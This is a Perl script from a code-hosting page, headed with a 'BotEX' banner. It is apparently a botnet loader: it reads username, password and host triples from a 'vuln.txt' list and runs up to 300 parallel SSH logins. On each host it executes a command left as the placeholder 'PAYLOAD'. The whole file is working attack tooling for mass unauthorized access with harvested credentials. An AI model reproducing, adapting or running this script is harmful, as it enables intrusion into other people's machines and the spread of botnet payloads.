-
Notifications
You must be signed in to change notification settings - Fork 13
/
wget.pl
41 lines (40 loc) · 1.32 KB
/
wget.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/perl
use Net::SSH2; use Parallel::ForkManager;
#
# __________ __ /\_______________ ___
# \______ \ _____/ |)/\_ _____/\ \/ /
# | | _// _ \ __\ | __)_ \ /
# | | ( <_> ) | | \ / \
# |______ /\____/|__| /_______ //___/\ \
# \/ \/ \_/
#
open(fh,'<','vuln.txt'); @newarray; while (<fh>){ @array = split(':',$_);
push(@newarray,@array);
}
# make 10 workers
my $pm = new Parallel::ForkManager(300); for (my $i=0; $i <
scalar(@newarray); $i+=3) {
# fork a worker
$pm->start and next;
$a = $i;
$b = $i+1;
$c = $i+2;
$ssh = Net::SSH2->new();
if ($ssh->connect($newarray[$c])) {
if ($ssh->auth_password($newarray[$a],$newarray[$b])) {
$channel = $ssh->channel();
$channel->exec('PAYLOAD');
sleep 10;
$channel->close;
print "\e[32;1mCommand Sent To --> ".$newarray[$c]."\n";
} else {
print "\e[0;34mCan't Authenticate Host
$newarray[$c]\n";
}
} else {
print "\e[1;31;1mCant Connect To Host $newarray[$c]\n";
}
# exit worker
$pm->finish;
}
$pm->wait_all_children;